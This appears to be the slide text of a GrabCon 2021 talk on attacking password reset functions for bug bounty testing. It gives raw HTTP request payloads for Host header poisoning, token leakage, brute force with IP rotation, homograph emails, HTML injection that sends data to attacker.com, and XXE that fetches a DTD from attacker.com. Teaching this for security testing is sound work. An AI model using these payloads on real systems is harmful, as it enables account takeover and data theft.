Talk was part of GrabCon 2021 where I presented how a single functionality like password reset can become a big attack vector for bugbounty hunters and pentesters. Multiple attack scenarios are described in this talk.
there be a password reset function! In order to implement a proper user management system, systems integrate a Forgot Password service that allows the user to request a password reset.
Request a password with evil host! Websites that handle the value of the Host header in an unsafe way POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: evilhost.com
the token is leaked in response #Tip: Search the token in burp suite search Add json extension to endpoint, eg: resetpassword.json HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: length { "email" : "[email protected]" , "token" : ****** }
token link, click on any third party website eg Facebook Intercept the requst and check the referer header GET /home HTTP/1.1 Host: www.third_party.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://company.com/resetpass?token=123-456-123-456 Origin: https://www.company.com
by force! Use IP-Rotate, additional headers etc POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=FUZZ&newpass=DontHackme!
generate reset password link for email test@gmáil.com.burpcollaborator.net POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@gmáil.com.id.burpcollaborator.net
using Param-miner Look if any parameter is reflected in received email, test for html injection or text injection. POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]¶meter=<img src=\"http://attacker.com/?id=
Use Content Type Converter extension to change from json to xml, add your payload POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE a [<!ENTITY % asd SYSTEM "http://attacker.com/XXE.dld">%asd;%c;]> <root>%rrr;<old>*****</old><new>*****</new></root>